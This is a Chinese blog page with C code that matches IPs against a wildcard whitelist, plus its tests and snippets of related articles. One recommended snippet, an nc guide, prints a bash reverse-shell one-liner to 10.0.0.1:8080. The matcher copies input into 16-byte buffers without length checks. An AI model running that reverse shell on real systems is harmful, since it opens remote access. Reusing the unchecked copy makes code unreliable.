ip白名单 通过* ? 检测IP匹配 轻量级
#include "stdafx.h"
#include <windows.h>
#include <string.h>
#include <assert.h> const int maxCount = 100;
const int strMaxLen = 16; BOOLEAN IsMatchPattern(const char* ipPattern,const char* ipChar)
{
char* delims = ".";
char* pPattern[4] = {0};
char* pIp[4] = {0};
char i = 0,j = 0;;
char _ipPattern[strMaxLen] = {0};
char _ipChar[strMaxLen] = {0}; if( !ipPattern || !ipChar)
return FALSE; // *字符前后只允许为.字符
if('*' == ipPattern[0] && '.' != ipPattern[1])
return FALSE;
if( '*' == ipPattern[strlen(ipPattern)-1] && '.' != ipPattern[strlen(ipPattern)-2])
return FALSE;
for(i = 1;i < (strlen(ipPattern)-2);i++)
{
if( '*' == ipPattern[i])
if( '.' != ipPattern[i-1] || '.' != ipPattern[i+1] )
return FALSE;
continue;
} memcpy(_ipPattern,ipPattern,strlen(ipPattern));
memcpy(_ipChar,ipChar,strlen(ipChar)); pPattern[0] =strtok(_ipPattern,delims);
for(i = 1 ;i < 4;i++)
{
pPattern[i] =strtok(NULL,delims);
} pIp[0] =strtok(_ipChar,delims);
for(i = 1 ;i < 4;i++)
{
pIp[i] =strtok(NULL,delims);
} // 分解字符串检测 按'.'分成四个子字符串 每个字符串长度不超过3
for(i = 0 ;i < 4;i++)
{
if(strlen(pPattern[i]) > 3)
return FALSE;
} for(i = 0 ;i < 4;i++)
{
if(strlen(pIp[i]) > 3)
return FALSE;
} // 检测字符串匹配 有*号则放过检测
for(i = 0;i < 4;i++)
{
if( memcmp((void*)(pPattern[i]),"*",1) ==0 )
{
continue;
}
if( strlen(pPattern[i]) != strlen(pIp[i]) )
return FALSE;
for(j = 0;j < strlen(pPattern[i]);j++)
{
char* subchPattern = pPattern[i];
char* subchIp = pIp[i];
if(subchPattern[j] != '?' && subchPattern[j] != subchIp[j])
return FALSE;
}
} return TRUE;
} int _tmain(int argc, _TCHAR* argv[])
{
char ipCheckPattern[strMaxLen] = "192.*.?2?.87"; assert( FALSE == IsMatchPattern(ipCheckPattern,"192.168.1.99") );
assert( FALSE == IsMatchPattern(ipCheckPattern,"192.168.272.87") );
assert( TRUE == IsMatchPattern(ipCheckPattern,"192.168.120.87") );
assert( TRUE == IsMatchPattern(ipCheckPattern,"192.122.223.87") );
assert( FALSE == IsMatchPattern(ipCheckPattern,"172.19.66.87") );
assert( FALSE == IsMatchPattern(ipCheckPattern,"172.0.0.87") );
assert( TRUE == IsMatchPattern(ipCheckPattern,"192.178.129.87") );
assert( FALSE == IsMatchPattern(ipCheckPattern,"192.212.17.71") ); return 0;
}
ip白名单 通过* ? 检测IP匹配 轻量级的更多相关文章
- Java IP白名单相关工具类
关于设置IP白名单相关的一些方法,整理,记录了一下. package com.tools.iptool; import java.util.ArrayList; import java.util.Ha ...
- Windows Azure Web Site (14) Azure Web Site IP白名单
<Windows Azure Platform 系列文章目录> 我们知道,在Azure Cloud Service和Virtual Machine,可以通过Endpoint ACL (Ac ...
- Centos防火墙添加IP白名单
Centos iptables防火墙添加IP白名单,指定IP可访问端口 vi /etc/sysconfig/iptables 以下为我虚拟机的防火墙为例(Centos 7) # sample conf ...
- IP白名单的实现(PHP)
有些项目可能会用到一个IP地址的白名单黑名单之类的验证. 比如,只有IP地址在白名单中,才可以访问该系统. 那么此时,白名单的维护,一般是一个文件,里边是一些IP地址(每行一个IP),当然也有的可能是 ...
- 对actuator的管理端点进行ip白名单限制(springBoot添加filter)
在我们的SpringCloud应用中,我们会引入actuator来进行管理和监控我们的应用 常见的有:http://www.cnblogs.com/yangzhilong/p/8378152.html ...
- 嵌入式Linux可用的防火墙——iptables:实现ip白名单、mac地址白名单
iptables是linux系统下的一个功能强大的模块,不仅可以用作防火墙,还可以实现NAT等众多路由功能.iptables的容器有很清晰的层次关系: 1. iptables是表的容器,iptable ...
- 除了白名单外的IP每秒最多处理 8 个请求 limit_conn_zone
防止黑客知道你的源服务器真实IP进行并发攻击,通常只需要保护动态文件请求,�php. 添加文件 nginx/conf/limit/whiteip.conf 里面是你要忽略限制的 白名单 IP地址,通常 ...
- 利用CentOS系统IPtables防火墙添加网站IP白名单
参考博文: 利用CentOS系统IPtables防火墙添加360网站卫士节点IP白名单 centos6.5添加白名单如下: 在防火墙 配置文件中加入白名单 ip -A INPUT -s 183.13 ...
- 解决微信公众平台IP白名单
微信公众平台,作为自媒体的旗舰级产品,越来越多的人已经投入它的怀抱.正如它的广告词所说:再小的个体,也有品牌 好吧,闲话不多说,今天要说的是它的IP白名单机制. 我们现在安装的大部分的电信的家庭级别的 ...
- 微信公众平台宣布增加接口IP白名单提高安全性
微信公众平台目前已经发布通知在平台接口调用上为了提高安全性需要添加IP白名单并仅允许白名单IP调用. 目前微信公众平台面向开发者主要提供的开发者ID和开发者密钥,在调用时ID和密钥通过检验即可进行调用 ...
随机推荐
- Flutter,最好的跨平台开发框架
今天说说使用flutter的一些体会 对于Flutter,从发现到接触再到使用,不知不觉,已经有大半年了!在这段时间里,谷歌几乎每天都会更新Flutter,有时甚至一天更新几次,这让我对它更加充满信心 ...
- c++官方文档-枚举-联合体-结构体-typedef-using
#include<iostream> #include <new> #include<stdio.h> using namespace std; /** * url ...
- leetcode754
class Solution { public: int reachNumber(int target) { // 理解这题的意思 这题就好做了 // 分析 首先考虑一种比较极端的情况 即一直向正方向 ...
- Application HookMainWindow
//H Filebool __fastcall AppHookFunc(TMessage &Message); //cpp file void __fastcall TForm2::FormC ...
- select(下拉标签和textarea(文本框)
Title 北京 南京 天津 武汉 石家庄 太原 dsadasd <!DOCTYPE html> <html lang="en"> <head&g ...
- 队列queue实例(生产者和消费者模型)
import queue, threading, time q = queue.Queue(maxsize=10)def producter(n): count = 1 while True: q.p ...
- Nginx bind() to 0.0.0.0:8000 failed (10013: 错误解决
本人配置Nginx 8000端口, 启动Nginx 失败, 查看日志logs/error.log出现如下提示 结束酷狗进程就Ok叻
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
- Packed with amazing data about the world in 201
Only those who have the patience to do simple things,perfectly ever acquire the skill to do difficul ...
- adb的一些常用的命令
如果在dos界面想要直接用adb的话,需要将anroidsdk安装目录下的tools和platform-tools以及加入到环境变量path中. 查看当前的设备(包括真机和模拟器):adb devic ...